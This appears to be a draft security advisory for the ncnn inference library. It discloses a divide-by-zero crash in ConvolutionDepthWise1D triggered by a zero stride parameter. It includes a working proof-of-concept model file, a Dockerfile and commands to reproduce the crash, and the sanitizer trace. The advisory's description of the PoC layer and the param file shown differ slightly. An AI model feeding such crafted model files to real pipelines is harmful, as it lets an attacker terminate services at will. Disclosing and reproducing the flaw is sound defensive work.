All advisories
Draft

Zero Stride Causes Model Optimization Denial Of Service

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Zero Stride Causes Model Optimization Denial Of Service

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/convolutiondepthwise1d.cpp:172 in ConvolutionDepthWise1D::forward
Sanitizer verdict: FPE on unknown address 0x628d0bcef36d (pc 0x628d0bcef36d bp 0x7ffef5ee12c0 sp 0x7ffef5ee1160 T0)

Summary

A ConvolutionDepthWise1D layer with stride_w set to zero (parameter key 3) crashes ncnnoptimize with SIGFPE during shape inference, before any optimized model is written. ConvolutionDepthWise1D::load_param accepts the zero without validation and forward divides the padded input width by it to compute the output width. Any pipeline that runs ncnnoptimize — or any ncnn consumer that executes the graph on the CPU — on an attacker-supplied model pair can be terminated at will.

Detail

The untrusted field is parameter key 3 of the ConvolutionDepthWise1D record, read into stride_w. pd.get(3, 1) defaults to 1 only when the key is absent. load_param does perform some consistency checking further down — it rejects num_output % group != 0 — but never checks that the stride, kernel, or dilation are positive, so 3=0 passes straight through to execution.

// src/layer/convolutiondepthwise1d.cpp:20
    num_output = pd.get(0, 0);
    kernel_w = pd.get(1, 0);
    dilation_w = pd.get(2, 1);
    stride_w = pd.get(3, 1);

// src/layer/convolutiondepthwise1d.cpp:167
    const int w = bottom_blob_bordered.w;
    const size_t elemsize = bottom_blob.elemsize;

    const int kernel_extent_w = dilation_w * (kernel_w - 1) + 1;

    const int outw = (w - kernel_extent_w) / stride_w + 1;

The PoC declares a length-4 Input and ConvolutionDepthWise1D dw 1 1 data out 0=1 1=1 3=0 6=1 7=1: one output channel, kernel width 1, stride 0, one weight, one group. At line 172 w is 4 and kernel_extent_w is 1 * (1 - 1) + 1 = 1, so the expression is (4 - 1) / 0. The idiv with a zero divisor raises #DE and the process takes SIGFPE.

Execution reaches forward because ncnnoptimize derives blob shapes by running the graph: optimizer.shape_inference() (tools/ncnnoptimize.cpp:2844) issues ex.extract(top_blob_index, m) for every layer top (tools/modelwriter.h:435). The accompanying poc.bin only needs to satisfy the weight loader — a zero quantize tag plus a single FP32 value — so essentially all of the attacker's control is in the parameter text.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-zero-stride-causes-model-optimization-denial-of-service && cd ncnn-poc-zero-stride-causes-model-optimization-denial-of-service

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
2 2
Input input 0 1 data 0=4
ConvolutionDepthWise1D dw 1 1 data out 0=1 1=1 3=0 6=1
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x57e45086636d (pc 0x57e45086636d bp 0x7ffdef414270 sp 0x7ffdef414110 T0)
    #0 0x57e45086636d in ncnn::ConvolutionDepthWise1D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/convolutiondepthwise1d.cpp:172
    #1 0x57e447f0df2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #2 0x57e447effb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #3 0x57e447f5f9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #4 0x57e447df13c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #5 0x57e447e6eeee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #6 0x7164460af1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x7164460af28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #8 0x57e447dee624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/src/layer/convolutiondepthwise1d.cpp:172 in ncnn::ConvolutionDepthWise1D::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const
==1==ABORTING

Credit

Zheng Yu @ DepthFirst